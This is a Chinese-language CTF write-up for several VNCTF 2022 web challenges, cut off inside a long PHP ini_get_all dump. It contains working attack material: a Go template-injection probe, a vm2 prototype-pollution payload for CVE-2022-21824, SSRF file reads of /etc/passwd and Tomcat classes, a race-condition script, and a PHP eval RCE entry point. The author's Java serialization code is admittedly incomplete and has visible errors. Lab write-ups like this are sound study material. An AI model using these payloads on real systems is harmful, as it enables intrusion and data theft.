VNCTF-web复现


VNCTF-web复现

GameV4.0

在/js/data.js最后有一个base64加密的文本,解码得到flag:VNCTF{Welcome_to_VNCTF2022}

gocal0

前置知识

go

go菜鸟教程

SSTI注入

不知道这个题目具体是哪种,等完了有时间把SSTI注入整理一下。(大坑)

题目详解

打开题目环境,有flag,进入,提示flag在session中。
同时在输入框中,无论输入什么都正常回显,猜测SSTI注入,利用{ {printf “%+v” .} }直接获取源码。
手动对齐了一下。

package main 
import ( 
    _ "embed" 
    "fmt" 
    "os" 
    "reflect" 
    "strings" 
    "text/template" 
    "github.com/gin-contrib/sessions" 
    "github.com/gin-contrib/sessions/cookie" 
    "github.com/gin-gonic/gin" 
    "github.com/maja42/goval" 
    ) 
//go:embed template/index.html var tpl string 
//go:embed main.go var source string type Eval struct { E string `json:"e" form:"e" binding:"required"` } 
func (e Eval) Result() (string, error) { 
    eval := goval.NewEvaluator() result, err := eval.Evaluate(e.E, nil, nil) 
    if err != nil { 
        return "", err 
    } 
    t := reflect.ValueOf(result).Type().Kind() 
    if t == reflect.Int { 
        return fmt.Sprintf("%d", result.(int)), nil 
    } 
    else if t == reflect.String { 
        return result.(string), nil 
    } 
    else { 
        return "", fmt.Errorf("not valid type") 
    } 
} 
func (e Eval) String() string { 
    res, err := e.Result() 
    if err != nil { 
        fmt.Println(err) 
        res = "invalid" 
    } 
    return fmt.Sprintf("%s = %s", e.E, res) 
} 
func render(c *gin.Context) { 
    session := sessions.Default(c) var his string 
    if session.Get("history") == nil { 
        his = "" 
    } 
    else { 
        his = session.Get("history").(string) 
    } 
    fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his)) t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his)) 
    if err != nil { 
        fmt.Println(err) 
        c.String(500, "internal error") 
        return 
    } 
    if err := t.Execute(c.Writer, map[string]string{ "s0uR3e": source, }); 
    err != nil { fmt.Println(err) } 
} 
func main() { 
    port := os.Getenv("PORT") 
    if port == "" { 
        port = "8080" 
    } 
    r := gin.Default() 
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e")) 
    r.Use(sessions.Sessions("session", store)) 
    r.GET("/", func(c *gin.Context) { render(c) }) 
    r.GET("/flag", func(c *gin.Context) { 
        session := sessions.Default(c) 
        session.Set("FLAG", os.Getenv("FLAG")) 
        session.Save() 
        c.String(200, "flag is in your session") }) 
    r.POST("/", func(c *gin.Context) { 
        session := sessions.Default(c) var his string 
        if session.Get("history") == nil { his = "" } 
        else { his = session.Get("history").(string) } 
        eval := Eval{} 
        if err := c.ShouldBind(&eval); 
        err == nil { his = his + eval.String() + "" } 
        session.Set("history", his) session.Save() render(c) }) 
    r.Run(fmt.Sprintf(":%s", port)) 
} 

WP中写本地启动一个一样的就可以,把官方WP放下面,我自己在本地试的时候go环境没调好,完了再补

package main
import 
(
    _ "embed"
    "fmt"
    "os"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)
func main() 
{
    port := os.Getenv("PORT")
    if port == "" {
    port = "8080"
    }
    r := gin.Default()
    store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
    r.Use(sessions.Sessions("session", store))
    r.GET("/", func(c *gin.Context) {
    session := sessions.Default(c)
    println(session.Get("FLAG").(string))
    })
    r.Run(fmt.Sprintf(":%s", port))
}

补充一种超级非预期,出题人疏忽忘记加密cookie,直接对session进行base64解码(注意用hackbar,我用的网站是解不出来的),解完之后找出像base64加密的地方再解码,得到flag:flag{36ad49a5-a9f3-4ea6-9a61-04a17a418586}

newcalc0

前置知识

原链型污染

CVE-2022-21824
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21824

题目详解

官方payload

console.table([{a:1}],['__proto__'])

输入后直接访问/flag,获得flag:flag{db24dccc-dd0f-4734-b6d0-ca7a7dc2dbf6}

打开环境,进入source得到源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

分析

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

猜测是要利用原链型污染更改.prototype,不过我自己没有想出来payload,对原链型污染的理解还不够深,希望之后找几道习题练一练
参考:
https://www.cnblogs.com/l0nmar/p/13951739.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__
https://xz.aliyun.com/t/2802
https://xz.aliyun.com/t/2735

easyJ4va

前置知识

jd-gui反编译.class文件

下载地址
命令行调用图形化界面,正常使用。

java -jar jd-jui-1.6.6.jar

tomact目录

tomcat目录结构

java基础语法

之后填坑

题目详解

打开题目F12提示/file?,访问/file,提示要输入url,用file协议读取/etc/passwd

/file?url=file:///etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
tomcat:x:1000:1000::/home/tomcat:/bin/sh

构造(WEB-INF文件官方目录里并没有,但访问ROOT之后可以找到。还有不知道官方WP中为什么用netdoc,我复现时用file起到一样的效果)

/file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes

将其中的.classes文件全部下载。用jd-gui反编译。
在HelloWorldServlet.class文件中有

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
      Base64.Decoder decoder = Base64.getDecoder();
      byte[] textByte = decoder.decode(text);
      User u = (User)SerAndDe.deserialize(textByte);
      if (this.user.equals(u))
        Response(resp, "DeserializeFlag is " + Secr3t.getFlag().toString()); 
    } else {
      Response(resp, "KeyError");
    } 
}

也就是说我们要得到Secr3t.getKey的值以及useru的反序列化

@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
  private volatile String name = "m4n_q1u_666";
  
  private volatile String age = "666";
  
  private volatile String height = "180";
  
  User user;
  
  public void init() throws ServletException {
    this.user = new User(this.name, this.age, this.height);
  }
  
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String reqName = req.getParameter("name");
    if (reqName != null)
      this.name = reqName; 
    if (Secr3t.check(this.name)) {
      Response(resp, "no vnctf2022!");
      return;
    } 
    if (Secr3t.check(this.name))
      Response(resp, "The Key is " + Secr3t.getKey()); 
  }

doGet⾥有如下判断,其中有Secr3t判断发现是⽭盾的。需要竞争绕过第⼀个check,并且达到第⼆个check。
找到Sect3t.check代码

public static boolean check(String checkStr) {
    if ("vnctf2022".equals(checkStr))
        return true; 
    return false;
    }
}

判断是否含有vnctf2022,需要一个不正确的内容绕过第一个check,然后正确的内容去第二个check。写脚本

import requests
import threading
import sys
url="http://c83209e6-0cdb-4b6c-a822-22faa8342566.node4.buuoj.cn:81/evi1"
url1=url+"?name=vnctf2022"
url2=url+"?name=wrong"
event=threading.Event()
def run(key):
    event.wait()
    while(1):
        if(key==1):
            r=requests.get(url1)
        else:
            r=requests.get(url2)
        if "The Key is" in r.text:
            print(r.text)
            sys.exit(1)

if __name__=="__main__":
    for i in range(30):
        threading.Thread(target=run,args=(1,)).start()
        threading.Thread(target=run,args=(2,)).start()
    event.set()

回显:The Key is RGTV8gSETE6LKgj5sq6KKSbuV3nouWdG
最后是反序列化,原代码如下

import entity.User;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
  private String name;
  
  private String age;
  
  private transient String height;
  
  public User(String name, String age, String height) {
    this.name = name;
    this.age = age;
    this.height = height;
  }
  
  public String getName() {
    return this.name;
  }
  
  public void setName(String name) {
    this.name = name;
  }
  
  public String getAge() {
    return this.age;
  }
  
  public void setAge(String age) {
    this.age = age;
  }
  
  public String getHeight() {
    return this.height;
  }
  
  public void setHeight(String height) {
    this.height = height;
  }
  
  private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    this.height = (String)s.readObject();
  }
  
  public boolean equals(Object obj) {
    if (obj == null)
      return false; 
    if (this == obj)
      return true; 
    if (obj instanceof User) {
      User user = (User)obj;
      if (user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name))
        return true; 
      return false;
    } 
    return false;
  }
  
  public String toString() {
    return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
  }
}

写一个与doPost中相反的exp,得到payload。(java语法还不太懂,先写个雏形,之后填坑)

User u=new User("m4n_q1u_666", "666", "180");
byte[] textByte=SerAndDe.serialize(u);
Base64.Encoder encoder = Base64.getEncoder();
string text = encoder.encode(textByte);
system.out.println(str)

user有个transient修饰的属性height,这是用来声明当前属性不需要反序列化的。注意要写一个与readObject相反的writeObject去强制反序列化。

private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{
    s.defaultWriteObject();
    //强制序列化name
    s.writeObject(this.height);
}

最后把key和base64字符串打进去就行。

InterestingPHP

前置知识

题目详解

进入题目

 <?php highlight_file(__FILE__); @eval($_GET['exp']);?> 

是一个RCE注入点,尝试/?exp=var_dump(phpinfo),回显为NULL,猜测被ban,发现ini_get_all()可以正常运行

构造:/?exp=var_dump(ini_get_all());
回显: 
array(186) { ["allow_url_fopen"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(4) } ["allow_url_include"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(4) } ["arg_separator.input"]=> array(3) { ["global_value"]=> string(1) "&" ["local_value"]=> string(1) "&" ["access"]=> int(6) } ["arg_separator.output"]=> array(3) { ["global_value"]=> string(1) "&" ["local_value"]=> string(1) "&" ["access"]=> int(7) } ["assert.active"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["assert.bail"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["assert.callback"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["assert.exception"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["assert.quiet_eval"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["assert.warning"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["auto_append_file"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(6) } ["auto_detect_line_endings"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["auto_globals_jit"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(6) } ["auto_prepend_file"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(6) } ["browscap"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["curl.cainfo"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(4) } ["date.default_latitude"]=> array(3) { ["global_value"]=> string(7) "31.7667" ["local_value"]=> string(7) "31.7667" ["access"]=> int(7) } ["date.default_longitude"]=> array(3) { ["global_value"]=> string(7) "35.2333" ["local_value"]=> string(7) "35.2333" ["access"]=> int(7) } ["date.sunrise_zenith"]=> array(3) { ["global_value"]=> string(9) "90.583333" ["local_value"]=> string(9) "90.583333" ["access"]=> int(7) } ["date.sunset_zenith"]=> array(3) { ["global_value"]=> string(9) "90.583333" ["local_value"]=> string(9) "90.583333" ["access"]=> int(7) } ["date.timezone"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["default_charset"]=> array(3) { ["global_value"]=> string(5) "UTF-8" ["local_value"]=> string(5) "UTF-8" ["access"]=> int(7) } ["default_mimetype"]=> array(3) { ["global_value"]=> string(9) "text/html" ["local_value"]=> string(9) "text/html" ["access"]=> int(7) } ["default_socket_timeout"]=> array(3) { ["global_value"]=> string(2) "60" ["local_value"]=> string(2) "60" ["access"]=> int(7) } ["disable_classes"]=> array(3) { ["global_value"]=> string(116) "Exception,DirectoryIterator,FilesystemIterator,SplFileObject,SplDoublyLinkedList,Error,ErrorException,RedisException" ["local_value"]=> string(116) "Exception,DirectoryIterator,FilesystemIterator,SplFileObject,SplDoublyLinkedList,Error,ErrorException,RedisException" ["access"]=> int(4) } ["disable_functions"]=> array(3) { ["global_value"]=> string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var" ["local_value"]=> string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var" ["access"]=> int(4) } ["display_errors"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["display_startup_errors"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["doc_root"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["docref_ext"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["docref_root"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["enable_dl"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(4) } ["enable_post_data_reading"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(6) } ["engine"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["error_append_string"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["error_log"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["error_prepend_string"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["error_reporting"]=> array(3) { ["global_value"]=> string(5) "32767" ["local_value"]=> string(5) "32767" ["access"]=> int(7) } ["expose_php"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(4) } ["extension_dir"]=> array(3) { ["global_value"]=> string(55) "/usr/local/lib/php/extensions/no-debug-non-zts-20170718" ["local_value"]=> string(55) "/usr/local/lib/php/extensions/no-debug-non-zts-20170718" ["access"]=> int(4) } ["file_uploads"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(4) } ["filter.default"]=> array(3) { ["global_value"]=> string(10) "unsafe_raw" ["local_value"]=> string(10) "unsafe_raw" ["access"]=> int(6) } ["filter.default_flags"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(6) } ["from"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["hard_timeout"]=> array(3) { ["global_value"]=> string(1) "2" ["local_value"]=> string(1) "2" ["access"]=> int(4) } ["highlight.comment"]=> array(3) { ["global_value"]=> string(7) "#FF8000" ["local_value"]=> string(7) "#FF8000" ["access"]=> int(7) } ["highlight.default"]=> array(3) { ["global_value"]=> string(7) "#0000BB" ["local_value"]=> string(7) "#0000BB" ["access"]=> int(7) } ["highlight.html"]=> array(3) { ["global_value"]=> string(7) "#000000" ["local_value"]=> string(7) "#000000" ["access"]=> int(7) } ["highlight.keyword"]=> array(3) { ["global_value"]=> string(7) "#007700" ["local_value"]=> string(7) "#007700" ["access"]=> int(7) } ["highlight.string"]=> array(3) { ["global_value"]=> string(7) "#DD0000" ["local_value"]=> string(7) "#DD0000" ["access"]=> int(7) } ["html_errors"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["iconv.input_encoding"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["iconv.internal_encoding"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["iconv.output_encoding"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["ignore_repeated_errors"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["ignore_repeated_source"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["ignore_user_abort"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["implicit_flush"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["include_path"]=> array(3) { ["global_value"]=> string(20) ".:/usr/local/lib/php" ["local_value"]=> string(20) ".:/usr/local/lib/php" ["access"]=> int(7) } ["input_encoding"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["internal_encoding"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["last_modified"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["log_errors"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["log_errors_max_len"]=> array(3) { ["global_value"]=> string(4) "1024" ["local_value"]=> string(4) "1024" ["access"]=> int(7) } ["mail.add_x_header"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(6) } ["mail.force_extra_parameters"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(6) } ["mail.log"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(6) } ["max_execution_time"]=> array(3) { ["global_value"]=> string(2) "30" ["local_value"]=> string(2) "30" ["access"]=> int(7) } ["max_file_uploads"]=> array(3) { ["global_value"]=> string(2) "20" ["local_value"]=> string(2) "20" ["access"]=> int(6) } ["max_input_nesting_level"]=> array(3) { ["global_value"]=> string(2) "64" ["local_value"]=> string(2) "64" ["access"]=> int(6) } ["max_input_time"]=> array(3) { ["global_value"]=> string(2) "60" ["local_value"]=> string(2) "60" ["access"]=> int(6) } ["max_input_vars"]=> array(3) { ["global_value"]=> string(4) "1000" ["local_value"]=> string(4) "1000" ["access"]=> int(6) } ["mbstring.detect_order"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["mbstring.encoding_translation"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(6) } ["mbstring.func_overload"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(4) } ["mbstring.http_input"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["mbstring.http_output"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["mbstring.http_output_conv_mimetypes"]=> array(3) { ["global_value"]=> string(31) "^(text/|application/xhtml\+xml)" ["local_value"]=> string(31) "^(text/|application/xhtml\+xml)" ["access"]=> int(7) } ["mbstring.internal_encoding"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["mbstring.language"]=> array(3) { ["global_value"]=> string(7) "neutral" ["local_value"]=> string(7) "neutral" ["access"]=> int(7) } ["mbstring.strict_detection"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["mbstring.substitute_character"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["memory_limit"]=> array(3) { ["global_value"]=> string(4) "128M" ["local_value"]=> string(4) "128M" ["access"]=> int(7) } ["mysqlnd.collect_memory_statistics"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(4) } ["mysqlnd.collect_statistics"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["mysqlnd.debug"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["mysqlnd.fetch_data_copy"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["mysqlnd.log_mask"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["mysqlnd.mempool_default_size"]=> array(3) { ["global_value"]=> string(5) "16000" ["local_value"]=> string(5) "16000" ["access"]=> int(7) } ["mysqlnd.net_cmd_buffer_size"]=> array(3) { ["global_value"]=> string(4) "4096" ["local_value"]=> string(4) "4096" ["access"]=> int(7) } ["mysqlnd.net_read_buffer_size"]=> array(3) { ["global_value"]=> string(5) "32768" ["local_value"]=> string(5) "32768" ["access"]=> int(7) } ["mysqlnd.net_read_timeout"]=> array(3) { ["global_value"]=> string(5) "86400" ["local_value"]=> string(5) "86400" ["access"]=> int(7) } ["mysqlnd.sha256_server_public_key"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(2) } ["mysqlnd.trace_alloc"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(4) } ["open_basedir"]=> array(3) { ["global_value"]=> string(13) "/var/www/html" ["local_value"]=> string(13) "/var/www/html" ["access"]=> int(7) } ["openssl.cafile"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(2) } ["openssl.capath"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(2) } ["output_buffering"]=> array(3) { ["global_value"]=> string(4) "4096" ["local_value"]=> string(4) "4096" ["access"]=> int(6) } ["output_encoding"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["output_handler"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(6) } ["pcre.backtrack_limit"]=> array(3) { ["global_value"]=> string(7) "1000000" ["local_value"]=> string(7) "1000000" ["access"]=> int(7) } ["pcre.jit"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["pcre.recursion_limit"]=> array(3) { ["global_value"]=> string(6) "100000" ["local_value"]=> string(6) "100000" ["access"]=> int(7) } ["phar.cache_list"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(4) } ["phar.readonly"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["phar.require_hash"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["post_max_size"]=> array(3) { ["global_value"]=> string(2) "8M" ["local_value"]=> string(2) "8M" ["access"]=> int(6) } ["precision"]=> array(3) { ["global_value"]=> string(2) "14" ["local_value"]=> string(2) "14" ["access"]=> int(7) } ["realpath_cache_size"]=> array(3) { ["global_value"]=> string(5) "4096K" ["local_value"]=> string(5) "4096K" ["access"]=> int(4) } ["realpath_cache_ttl"]=> array(3) { ["global_value"]=> string(3) "120" ["local_value"]=> string(3) "120" ["access"]=> int(4) } ["redis.arrays.autorehash"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.arrays.functions"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.arrays.hosts"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.arrays.index"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.arrays.names"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.arrays.previous"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.clusters.read_timeout"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.clusters.seeds"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["redis.clusters.timeout"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["register_argc_argv"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(6) } ["report_memleaks"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["report_zend_debug"]=> array(3) { ["global_value"]=> string(1) "1" ["local_value"]=> string(1) "1" ["access"]=> int(7) } ["request_order"]=> array(3) { ["global_value"]=> string(2) "GP" ["local_value"]=> string(2) "GP" ["access"]=> int(6) } ["sendmail_from"]=> array(3) { ["global_value"]=> NULL ["local_value"]=> NULL ["access"]=> int(7) } ["sendmail_path"]=> array(3) { ["global_value"]=> string(7) " -t -i " ["local_value"]=> string(7) " -t -i " ["access"]=> int(4) } ["serialize_precision"]=> array(3) { ["global_value"]=> string(2) "-1" ["local_value"]=> string(2) "-1" ["access"]=> int(7) } ["session.auto_start"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(2) } ["session.cache_expire"]=> array(3) { ["global_value"]=> string(3) "180" ["local_value"]=> string(3) "180" ["access"]=> int(7) } ["session.cache_limiter"]=> array(3) { ["global_value"]=> string(7) "nocache" ["local_value"]=> string(7) "nocache" ["access"]=> int(7) } ["session.cookie_domain"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["session.cookie_httponly"]=> array(3) { ["global_value"]=> string(0) "" ["local_value"]=> string(0) "" ["access"]=> int(7) } ["session.cookie_lifetime"]=> array(3) { ["global_value"]=> string(1) "0" ["local_value"]=> string(1) "0" ["access"]=> int(7) } ["session.cookie_path"]=> array(3) { ["global_value"]=> string(1) "/" ["local_value"]=> string(1) "/" ["access"]=> int(7) } ["session.cookie_secure"]=> array(3) { 